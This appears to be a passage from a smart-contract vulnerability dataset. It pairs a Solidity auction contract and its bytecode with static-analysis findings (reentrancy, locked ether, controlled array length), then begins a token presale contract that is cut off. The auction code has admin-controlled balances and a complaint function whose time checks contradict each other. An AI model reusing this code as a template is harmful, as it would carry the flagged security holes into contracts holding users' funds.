return(c.aucusers[c.lastid].useraddr); } function editusetaddress(uint aid, string setaddr) public returns(bool){ require(actived == true); auctionlist storage c = auctionlisting[aid]; putusers storage data = c.aucusers[c.lastid]; require(data.puser == msg.sender); require(!frozenAccount[msg.sender]); data.useraddr = setaddr; return(true); } /*用户获取拍卖金额和返利,只能返利一次 */ function endauction(uint auctids) public { //uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(actived == true); require(c.ifsend == 2); uint len = c.lastid; putusers storage firstuser = c.aucusers[0]; address suser = msg.sender; require(!frozenAccount[suser]); require(c.ifend == true); require(len > 1); require(c.ausers[suser] > 0); uint sendmoney = 0; if(len == 2) { require(firstuser.puser == suser); sendmoney = c.currentprice*3/10 + c.ausers[suser]; }else{ if(firstuser.puser == suser) { sendmoney = c.currentprice*1/10 + c.ausers[suser]; }else{ uint onemoney = (c.currentprice*2/10)/(len-2); sendmoney = onemoney + c.ausers[suser]; } } require(sendmoney > 0); c.ausers[suser] = 0; btycaddmoney(suser, sendmoney); emit getmoneys(suser, sendmoney); } //设定拍卖标准价 function setsystemprice(uint price) public onlyadmin{ systemprice = price; } //管理员冻结发布者和商品 function setauctionother(uint auctids) public onlyadmin{ auctionlist storage c = auctionlisting[auctids]; btyc.freezeAccount(c.adduser, true); c.ifend = true; c.ifsend = 3; } //设定商品状态 function setauctionsystem(uint auctids, uint setnum) public onlyadmin{ auctionlist storage c = auctionlisting[auctids]; c.ifend = true; c.ifsend = setnum; } //设定商品正常 function setauctionotherfree(uint auctids) public onlyadmin{ auctionlist storage c = auctionlisting[auctids]; btyc.freezeAccount(c.adduser, false); c.ifsend = 2; } //投诉发布者未发货或货物不符 function tsauction(uint auctids) public{ require(actived == true); auctionlist storage c = auctionlisting[auctids]; uint _now = now; require(c.endtime > _now); require(c.endtime + 2 days < _now); require(c.aucusers[c.lastid].puser == msg.sender); if(c.endtime + 2 days < _now && c.ifsend == 0) { c.ifsend = 5; c.ifend = true; auctionlistts.push(c); } if(c.endtime + 9 days < _now && c.ifsend == 1) { c.ifsend = 5; c.ifend = true; auctionlistts.push(c); } } //管理员设定违规竞拍返还竞拍者 function endauctionother(uint auctids) public { require(actived == true); //uint _now = now; auctionlist storage c = auctionlisting[auctids]; address suser = msg.sender; require(c.ifsend == 3); require(c.ausers[suser] > 0); btycaddmoney(suser,c.ausers[suser]); c.ausers[suser] = 0; emit getmoneys(suser, c.ausers[suser]); } /* * 设置管理员 * @param {Object} address */ function admAccount(address target, bool freeze) onlyOwner public { admins[target] = freeze; } function addbtycmoney(address addr, uint money) onlyadmin public{ btycaddmoney(addr, money); } function subbtycmoney(address addr, uint money) onlyadmin public{ btycsubmoney(addr, money); } function btycaddmoney(address addr, uint money) private{ address[] memory addrs = new address[](1); uint[] memory moneys = new uint[](1); addrs[0] = addr; moneys[0] = money; btyc.addBalances(addrs, moneys); emit Transfer(this, addr, money); } function btycsubmoney(address addr, uint money) private{ address[] memory addrs = new address[](1); uint[] memory moneys = new uint[](1); addrs[0] = addr; moneys[0] = money; btyc.subBalances(addrs, moneys); emit Transfer(addr, this, money); } /* * 设置是否开启 * @param {Object} bool */ function setactive(bool tags) public onlyOwner { actived = tags; } // 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) public { require(admins[msg.sender] == true); frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } } //btyc接口类 interface btycInterface { function balanceOf(address _addr) external view returns (uint256); function mintToken(address target, uint256 mintedAmount) external returns (bool); //function transfer(address to, uint tokens) external returns (bool); function freezeAccount(address target, bool freeze) external returns (bool); function getcanuse(address tokenOwner) external view returns(uint); function addBalances(address[] recipients, uint256[] moenys) external returns(uint); function subBalances(address[] recipients, uint256[] moenys) external returns(uint); } library SafeMath { function add(uint a, uint b) internal pure returns(uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns(uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns(uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns(uint c) { require(b > 0); c = a / b; } }
0x6080604052600436106102455763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461024a57806307822f7d146102d45780630d0c529a146103175780631754de571461033e578063313ce56714610364578063334fb22e1461038f578063429b62e5146104e15780634b079fa6146105165780634e285acb1461052b5780634e93048314610543578063517d95fa14610567578063540ea6db1461058b5780635a6e8980146105a357806365e16a09146106015780636a83b9241461062b5780636e3534351461064057806370a08231146106935780637196a769146106b45780637854b798146106cc5780637d564f11146107765780638d3ef87d1461078e5780638da5cb5b146107af57806390cfce5a146107e057806392cbda09146107f857806395d89b411461081c578063997ce600146108315780639d134185146108495780639fbdcef014610864578063a8243ff41461087c578063a9059cbb14610891578063b0a8489e146108b5578063b139275f146108d6578063b1a00406146108ee578063b414d4b614610903578063b7cc6f5014610924578063c4041bc51461093c578063c88dbfeb14610954578063c9ba73a314610969578063cb37976514610981578063ceaf0bfb14610999578063e259d074146109bf578063e724529c146109d7578063e736f03c146109fd578063e97e490c14610a12578063ee9c26d614610a33578063f2fde38b14610a48578063f43a72b014610a69578063fa53bb1b14610a83575b600080fd5b34801561025657600080fd5b5061025f610a9b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610299578181015183820152602001610281565b50505050905090810190601f1680156102c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e057600080fd5b506102ef600435602435610b26565b60408051600160a060020a039094168452602084019290925282820152519081900360600190f35b34801561032357600080fd5b5061032c610b82565b60408051918252519081900360200190f35b34801561034a57600080fd5b50610362600160a060020a0360043516602435610b89565b005b34801561037057600080fd5b50610379610bb9565b6040805160ff9092168252519081900360200190f35b34801561039b57600080fd5b506103a7600435610bc2565b604051808d600160a060020a0316600160a060020a031681526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001806020018060200186151515158152602001858152602001848152602001838103835288818151815260200191508051906020019080838360005b8381101561043a578181015183820152602001610422565b50505050905090810190601f1680156104675780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b8381101561049a578181015183820152602001610482565b50505050905090810190601f1680156104c75780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b3480156104ed57600080fd5b50610502600160a060020a0360043516610d54565b604080519115158252519081900360200190f35b34801561052257600080fd5b5061032c610d69565b34801561053757600080fd5b50610362600435610d7c565b34801561054f57600080fd5b50610362600160a060020a0360043516602435610e10565b34801561057357600080fd5b50610362600160a060020a0360043516602435610e3b565b34801561059757600080fd5b5061025f600435610ecc565b3480156105af57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610502958335953695604494919390910191908190840183828082843750949750610fb29650505050505050565b34801561060d57600080fd5b50610362600160a060020a0360043581169060243516604435611057565b34801561063757600080fd5b5061032c611088565b604080516020600460443581810135601f81018490048402850184019095528484526103629482359460248035953695946064949201919081908401838280828437509497506111289650505050505050565b34801561069f57600080fd5b5061032c600160a060020a0360043516611349565b3480156106c057600080fd5b506103a7600435611368565b3480156106d857600080fd5b50604080516020600460a43581810135601f810184900484028501840190955284845261032c9482359460248035956044359560643595608435953695929460c494920191819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506113769650505050505050565b34801561078257600080fd5b5061036260043561165e565b34801561079a57600080fd5b5061032c600160a060020a0360043516611684565b3480156107bb57600080fd5b506107c461169f565b60408051600160a060020a039092168252519081900360200190f35b3480156107ec57600080fd5b506103626004356116ae565b34801561080457600080fd5b50610362600160a060020a036004351660243561199a565b34801561082857600080fd5b5061025f6119c5565b34801561083d57600080fd5b50610362600435611a1f565b34801561085557600080fd5b50610362600435602435611c43565b34801561087057600080fd5b50610362600435611c9d565b34801561088857600080fd5b5061032c611d97565b34801561089d57600080fd5b50610502600160a060020a0360043516602435611d9d565b3480156108c157600080fd5b5061032c600160a060020a0360043516611db0565b3480156108e257600080fd5b50610502600435611e5a565b3480156108fa57600080fd5b5061032c611e67565b34801561090f57600080fd5b50610502600160a060020a0360043516611e6d565b34801561093057600080fd5b506103a7600435611e82565b34801561094857600080fd5b506103a7600435611e90565b34801561096057600080fd5b5061032c612068565b34801561097557600080fd5b5061032c60043561206e565b34801561098d57600080fd5b5061036260043561209b565b3480156109a557600080fd5b50610362600160a060020a03600435166024351515612592565b3480156109cb57600080fd5b506103626004356125d4565b3480156109e357600080fd5b50610362600160a060020a036004351660243515156126c9565b348015610a0957600080fd5b5061050261274e565b348015610a1e57600080fd5b5061032c600160a060020a0360043516612757565b348015610a3f57600080fd5b5061032c6127cf565b348015610a5457600080fd5b50610362600160a060020a03600435166127e2565b348015610a7557600080fd5b506103626004351515612828565b348015610a8f57600080fd5b50610362600435612852565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610b1e5780601f10610af357610100808354040283529160200191610b1e565b820191906000526020600020905b815481529060010190602001808311610b0157829003601f168201915b505050505081565b6000806000806000600587815481101515610b3d57fe5b60009182526020808320988352600c600e909202909801019096525050604090932080546001820154600290920154600160a060020a03909116969195509350915050565b6007545b90565b336000908152600b602052604090205460ff161515600114610baa57600080fd5b610bb530838361295b565b5050565b60035460ff1681565b6007805482908110610bd057fe5b6000918252602091829020600e909102018054600180830154600280850154600386015460048701546005880154600689015460078a01805460408051601f6000199c841615610100029c909c0190921698909804998a018d90048d0281018d01909752888752600160a060020a039099169b5095999398929791969095949293830182828015610ca25780601f10610c7757610100808354040283529160200191610ca2565b820191906000526020600020905b815481529060010190602001808311610c8557829003601f168201915b5050505060088301805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152949594935090830182828015610d325780601f10610d0757610100808354040283529160200191610d32565b820191906000526020600020905b815481529060010190602001808311610d1557829003601f168201915b505050506009830154600a840154600b90940154929360ff909116929091508c565b600b6020526000908152604090205460ff1681565b306000908152600a602052604090205490565b60058054429160009184908110610d8f57fe5b60009182526020808320338452600c909152604090922054600e909102909101915060ff1615610dbe57600080fd5b8054600160a060020a03163314610dd457600080fd5b60028101548211610de457600080fd5b600a81015415610df357600080fd5b6001600a82018190556009909101805460ff191690911790555050565b336000908152600b602052604090205460ff161515600114610e3157600080fd5b610bb58282612a64565b336000908152600b602052604090205460ff161515600114610e5c57600080fd5b600160a060020a0382166000908152600a6020526040902054610e85908263ffffffff612c3c16565b600160a060020a0383166000818152600a6020908152604091829020939093558051848152905191923092600080516020612f328339815191529281900390910190a35050565b60606000600583815481101515610edf57fe5b60009182526020909120600e909102018054909150600160a060020a03163314610f0857600080fd5b600b8101546000908152600c8201602090815260409182902060030180548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610fa55780601f10610f7a57610100808354040283529160200191610fa5565b820191906000526020600020905b815481529060010190602001808311610f8857829003601f168201915b5050505050915050919050565b600d546000908190819060ff161515600114610fcd57600080fd5b6005805486908110610fdb57fe5b60009182526020808320600b600e90930201918201548352600c82019052604090912080549193509150600160a060020a0316331461101957600080fd5b336000908152600c602052604090205460ff161561103657600080fd5b835161104b9060038301906020870190612e24565b50600195945050505050565b336000908152600b602052604090205460ff16151560011461107857600080fd5b61108383838361295b565b505050565b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516000917356f527c3f4a24bb2beba449ffd766331da840ffa916370a082319160248082019260209290919082900301818787803b1580156110f757600080fd5b505af115801561110b573d6000803e3d6000fd5b505050506040513d602081101561112157600080fd5b5051905090565b336000818152600c6020526040812054429291908190819060ff161561114d57600080fd5b600d5460ff16151560011461116157600080fd5b600580548990811061116f57fe5b60009182526020909120600e90910201600981015490935060ff161561119457600080fd5b600a830154156111a357600080fd5b6111ac84612757565b600684015490925087116111bf57600080fd5b60048301548711156111d057600080fd5b600160a060020a0384166000908152600d8401602052604090205487116111f657600080fd5b50600160a060020a0383166000908152600d8301602052604090205486038082101561122157600080fd5b84836002015410156112415760098301805460ff1916600117905561133f565b826004015487141561125d5760098301805460ff191660011790555b6112678482612c4c565b600160a060020a038481166000818152600d8601602090815260408083208c9055600688018c905580516080810182529384528382018a81528482018d8152606086018d8152600b8b01805460018082019092558752600c8c018652939095208651815473ffffffffffffffffffffffffffffffffffffffff19169816979097178755905191860191909155516002850155905180519293926113109260038501920190612e24565b505050600160a060020a0384166000908152600860209081526040822080546001810182559083529120018890555b5050505050505050565b600160a060020a0381166000908152600a60205260409020545b919050565b6006805482908110610bd057fe5b600d5460009042903390839060ff16151560011461139357600080fd5b600160a060020a0382166000908152600c602052604090205460ff16156113b957600080fd5b610e0f1983018b10156113cb57600080fd5b6202a30083018b106113dc57600080fd5b8a8a116113e857600080fd5b6202a3008b018a106113f957600080fd5b6004547356f527c3f4a24bb2beba449ffd766331da840ffa600160a060020a03166370a08231846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561148457600080fd5b505af1158015611498573d6000803e3d6000fd5b505050506040513d60208110156114ae57600080fd5b505110156114bb57600080fd5b60056101806040519081016040528084600160a060020a031681526020018d81526020018c81526020018a81526020018981526020018b81526020018a81526020018881526020018781526020016000151581526020016000815260200160008152509080600181540180825580915050906001820390600052602060002090600e02016000909192909190915060008201518160000160006101000a815481600160a060020a030219169083600160a060020a031602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e08201518160070190805190602001906115ce929190612e24565b5061010082015180516115eb916008840191602090910190612e24565b506101208201516009828101805460ff191692151592909217909155610140830151600a83015561016090920151600b90910155600554600160a060020a0394909416600090815260209182526040812080546001810182559082529190200183905550909a9950505050505050505050565b336000908152600b602052604090205460ff16151560011461167f57600080fd5b600455565b600160a060020a031660009081526008602052604090205490565b600054600160a060020a031681565b600d5442906000908190819060ff1615156001146116cb57600080fd5b336000908152600c602052604090205460ff16156116e857600080fd5b60058054869081106116f657fe5b90600052602060002090600e0201925083836002015410151561171857600080fd5b600983015460ff16151560011461172e57600080fd5b600a83015460011461173f57600080fd5b600b8301546000908152600c8401602052604090208054909250600160a060020a0316331461176d57600080fd5b6002600a84018190558201546064906046028454919004915061179990600160a060020a031682612a64565b60068054600181810180845560008490528654600e9093027ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f8101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909516949094178455828801547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d408201556002808901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4183015560038901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4283015560048901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4383015560058901547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d44830155948801547ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d45820155600788018054929589959461193a947ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d46909401939081161561010002600019011604612ea2565b5060088201816008019080546001816001161561010002031660029004611962929190612ea2565b50600982810154908201805460ff191660ff9092161515919091179055600a8083015490820155600b91820154910155505050505050565b336000908152600b602052604090205460ff1615156001146119bb57600080fd5b610bb58282612c4c565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b1e5780601f10610af357610100808354040283529160200191610b1e565b600080600080600080600587815481101515611a3757fe5b60009182526020909120600d54600e90920201965060ff161515600114611a5d57600080fd5b600a860154600214611a6e57600080fd5b600b8601546000808052600c80890160209081526040808420338086529390925290922054929750909550935060ff1615611aa857600080fd5b600986015460ff161515600114611abe57600080fd5b60018511611acb57600080fd5b600160a060020a0383166000908152600d8701602052604081205411611af057600080fd5b600091508460021415611b46578354600160a060020a03848116911614611b1657600080fd5b600160a060020a0383166000908152600d870160205260409020546006870154600a906003025b04019150611bc4565b8354600160a060020a0384811691161415611b8357600160a060020a0383166000908152600d870160205260409020546006870154600a90611b3d565b6006860154600119860190600a9060020204811515611b9e57fe5b600160a060020a0385166000908152600d89016020526040902054919004908101925090505b60008211611bd157600080fd5b600160a060020a0383166000908152600d87016020526040812055611bf68383612a64565b60408051600160a060020a03851681526020810184905281517fc09831ac53c3b4bb7ef8a6bc27ff4d38b619e41641ea37b8c2804773b230da4b929181900390910190a150505050505050565b336000908152600b602052604081205460ff161515600114611c6457600080fd5b6005805484908110611c7257fe5b600091825260209091206009600e90920201908101805460ff19166001179055600a01919091555050565b336000908152600b602052604081205460ff161515600114611cbe57600080fd5b6005805483908110611ccc57fe5b60009182526020808320600e9092029091018054604080517fe724529c000000000000000000000000000000000000000000000000000000008152600160a060020a0392909216600483015260248201859052519194507356f527c3f4a24bb2beba449ffd766331da840ffa9363e724529c9360448084019491939192918390030190829087803b158015611d6057600080fd5b505af1158015611d74573d6000803e3d6000fd5b505050506040513d6020811015611d8a57600080fd5b50506002600a9091015550565b60055490565b6000611daa33848461295b565b92915050565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038316600482015290516000917356f527c3f4a24bb2beba449ffd766331da840ffa916370a082319160248082019260209290919082900301818787803b158015611e2857600080fd5b505af1158015611e3c573d6000803e3d6000fd5b505050506040513d6020811015611e5257600080fd5b505192915050565b600061136333308461295b565b60065490565b600c6020526000908152604090205460ff1681565b6005805482908110610bd057fe5b600080600080600080600060608060008060008060058e815481101515611eb357fe5b90600052602060002090600e020190508060000160009054906101000a9004600160a060020a03169c5080600101549b5080600201549a5080600501549950806003015498508060040154975080600601549650806008018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f9f5780601f10611f7457610100808354040283529160200191611f9f565b820191906000526020600020905b815481529060010190602001808311611f8257829003601f168201915b5050505060078301805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815294995091925083018282801561202f5780601f106120045761010080835404028352916020019161202f565b820191906000526020600020905b81548152906001019060200180831161201257829003601f168201915b505050505095508060090160009054906101000a900460ff16935080600a0154925080600b015491505091939597999b5091939597999b565b60045481565b33600090815260096020526040812080548390811061208957fe5b90600052602060002001549050919050565b600d54600090819060ff1615156001146120b457600080fd5b60058054849081106120c257fe5b90600052602060002090600e020191504290508082600201541115156120e757600080fd5b60028201546202a3000181116120fc57600080fd5b600b8201546000908152600c83016020526040902054600160a060020a0316331461212657600080fd5b8082600201546202a300011080156121405750600a820154155b15612359576005600a830181905560098301805460ff191660019081179091556007805480830180835560008390528654600e9092027fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6888101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909416939093178355848801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6898201556002808901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68a83015560038901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68b83015560048901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68c830155958801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68d82015560068801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68e82015592870180549195889593946122ff947fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68f909101939081161561010002600019011604612ea2565b5060088201816008019080546001816001161561010002031660029004612327929190612ea2565b50600982810154908201805460ff191660ff9092161515919091179055600a8083015490820155600b91820154910155505b808260020154620bdd8001108015612375575081600a01546001145b15611083576005600a830181905560098301805460ff191660019081179091556007805480830180835560008390528654600e9092027fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6888101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909416939093178355848801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6898201556002808901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68a83015560038901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68b83015560048901547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68c830155958801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68d82015560068801547fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68e8201559287018054919588959394612534947fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68f909101939081161561010002600019011604612ea2565b506008820181600801908054600181600116156101000203166002900461255c929190612ea2565b50600982810154908201805460ff191660ff9092161515919091179055600a8083015490820155600b9182015491015550505050565b600054600160a060020a031633146125a957600080fd5b600160a060020a03919091166000908152600b60205260409020805460ff1916911515919091179055565b600d54600090819060ff1615156001146125ed57600080fd5b60058054849081106125fb57fe5b90600052602060002090600e0201915033905081600a0154600314151561262157600080fd5b600160a060020a0381166000908152600d830160205260408120541161264657600080fd5b600160a060020a0381166000908152600d8301602052604090205461266c908290612a64565b600160a060020a0381166000818152600d84016020908152604080832083905580519384529083019190915280517fc09831ac53c3b4bb7ef8a6bc27ff4d38b619e41641ea37b8c2804773b230da4b9281900390910190a1505050565b336000908152600b602052604090205460ff1615156001146126ea57600080fd5b600160a060020a0382166000818152600c6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600d5460ff1681565b604080517f332559d3000000000000000000000000000000000000000000000000000000008152600160a060020a038316600482015290516000917356f527c3f4a24bb2beba449ffd766331da840ffa9163332559d39160248082019260209290919082900301818787803b158015611e2857600080fd5b3360009081526009602052604090205490565b600054600160a060020a031633146127f957600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461283f57600080fd5b600d805460ff1916911515919091179055565b336000908152600b602052604081205460ff16151560011461287357600080fd5b600580548390811061288157fe5b60009182526020808320600e9092029091018054604080517fe724529c000000000000000000000000000000000000000000000000000000008152600160a060020a0392909216600483015260016024830152519194507356f527c3f4a24bb2beba449ffd766331da840ffa9363e724529c9360448084019491939192918390030190829087803b15801561291557600080fd5b505af1158015612929573d6000803e3d6000fd5b505050506040513d602081101561293f57600080fd5b505060098101805460ff191660011790556003600a9091015550565b6000600160a060020a038316151561297257600080fd5b600d5460ff16151560011461298657600080fd5b600160a060020a0384166000908152600a60205260409020548211156129ab57600080fd5b600160a060020a0383166000908152600a6020526040902054828101116129d157600080fd5b50600160a060020a038083166000818152600a6020908152604080832080549589168085528285208054898103909155948690528154880190915581518781529151939095019492600080516020612f32833981519152929181900390910190a3600160a060020a038084166000908152600a6020526040808220549287168252902054018114612a5e57fe5b50505050565b60408051600180825281830190925260609182919060208083019080388339505060408051600180825281830190925292945090506020808301908038833901905050905083826000815181101515612ab957fe5b600160a060020a039092166020928302909101909101528051839082906000908110612ae157fe5b6020908102909101810191909152604080517fddf0c070000000000000000000000000000000000000000000000000000000008152600481019182528451604482015284517356f527c3f4a24bb2beba449ffd766331da840ffa9363ddf0c070938793879391928392602483019260640191878101910280838360005b83811015612b76578181015183820152602001612b5e565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015612bb5578181015183820152602001612b9d565b50505050905001945050505050602060405180830381600087803b158015612bdc57600080fd5b505af1158015612bf0573d6000803e3d6000fd5b505050506040513d6020811015612c0657600080fd5b5050604080518481529051600160a060020a038616913091600080516020612f328339815191529181900360200190a350505050565b81810182811015611daa57600080fd5b60408051600180825281830190925260609182919060208083019080388339505060408051600180825281830190925292945090506020808301908038833901905050905083826000815181101515612ca157fe5b600160a060020a039092166020928302909101909101528051839082906000908110612cc957fe5b6020908102909101810191909152604080517f46e36060000000000000000000000000000000000000000000000000000000008152600481019182528451604482015284517356f527c3f4a24bb2beba449ffd766331da840ffa936346e36060938793879391928392602483019260640191878101910280838360005b83811015612d5e578181015183820152602001612d46565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015612d9d578181015183820152602001612d85565b50505050905001945050505050602060405180830381600087803b158015612dc457600080fd5b505af1158015612dd8573d6000803e3d6000fd5b505050506040513d6020811015612dee57600080fd5b50506040805184815290513091600160a060020a03871691600080516020612f328339815191529181900360200190a350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612e6557805160ff1916838001178555612e92565b82800160010185558215612e92579182015b82811115612e92578251825591602001919060010190612e77565b50612e9e929150612f17565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612edb5780548555612e92565b82800160010185558215612e9257600052602060002091601f016020900482015b82811115612e92578254825591600101919060010190612efc565b610b8691905b80821115612e9e5760008155600101612f1d5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203a0f809a2f21414f6c638b9c8b909d43a28dca86ca18c24b66726f4e3be69ff90029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,864
0x09372b808bf8533c0409baef23d527a3a8c7580a
/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt * ** Code Modified by : TokenMagic ** Change Log: *** Solidity version upgraded from 0.4.8 to 0.4.23 *** Functions Added: setPresaleParticipantWhitelist, setFreezeEnd, getInvestorsCount */ pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier stopNonOwnersInEmergency { require(!halted && msg.sender == owner); _; } modifier onlyInEmergency { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract HoardCrowdsale { function invest(address addr,uint tokenAmount) public payable { } } library SafeMathLib { function times(uint a, uint b) public pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract HoardPresale is Ownable { using SafeMathLib for uint; /** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */ mapping (address => bool) public presaleParticipantWhitelist; /** Who are our investors */ address[] public investors; mapping (address => bool) private investorsMapping; /** How much they have invested */ mapping(address => uint) public balances; /** A mapping of buyers and their amounts of total tokens due */ mapping(address => uint256) public tokenDue; /** When our refund freeze is over (UNIX timestamp) */ uint public freezeEndsAt; /* How many wei of funding pre-sale have raised */ uint public weiRaised = 0; /** Maximum pre-sale ETH fund limit in Wei */ uint public maxFundLimit = 16000000000000000000000; //16000 ETH /** Our ICO contract where we will move the funds */ HoardCrowdsale public crowdsale; /** * Define pricing schedule using tranches. */ struct Tranche { // Amount in weis when this tranche becomes active uint amount; // How many tokens per satoshi you will get while this tranche is active uint price; } // Store tranches in a fixed array, so that it can be seen in a blockchain explorer // Tranche 0 is always (0, 0) // (TODO: change this when we confirm dynamic arrays are explorable) // /* Calculations made by $500/ETH as rate */ /* 0 to 114 ETH = 120000000000000 WEI = 0.00012 ETH 114 ETH to 10000 ETH = 142857142857500 WEI = 0.0001428571428575 ETH 10000 ETH to 14000 ETH = 200000000000000 WEI = 0.0002 ETH */ Tranche[10] public tranches; // How many active tranches we have uint public trancheCount; uint public constant MAX_TRANCHES = 10; uint public tokenDecimals = 18; event Invested(address investor, uint value); event Refunded(address investor, uint value); //Event to show whitelisted address event Whitelisted(address[] addr, bool status); //Event to show when freezeends data changed event FreezeEndChanged(uint newFreezeEnd); //Event to show crowdsale address changes event CrowdsaleAdded(address newCrowdsale); /** * Create presale contract */ constructor(address _owner, uint _freezeEndsAt) public { require(_owner != address(0) && _freezeEndsAt != 0); owner = _owner; freezeEndsAt = _freezeEndsAt; } /** * Receive funds for presale * Modified by: TokenMagic */ function() public payable { // Only Whitelisted addresses can contribute require(presaleParticipantWhitelist[msg.sender]); require(trancheCount > 0); address investor = msg.sender; bool existing = investorsMapping[investor]; balances[investor] = balances[investor].add(msg.value); weiRaised = weiRaised.add(msg.value); require(weiRaised <= maxFundLimit); uint weiAmount = msg.value; uint tokenAmount = calculatePrice(weiAmount); // Add the amount of tokens they are now due to total tally tokenDue[investor] = tokenDue[investor].add(tokenAmount); if(!existing) { investors.push(investor); investorsMapping[investor] = true; } emit Invested(investor, msg.value); } /** * Add KYC whitelisted pre-sale participant ETH addresses to contract. * Added by: TokenMagic */ function 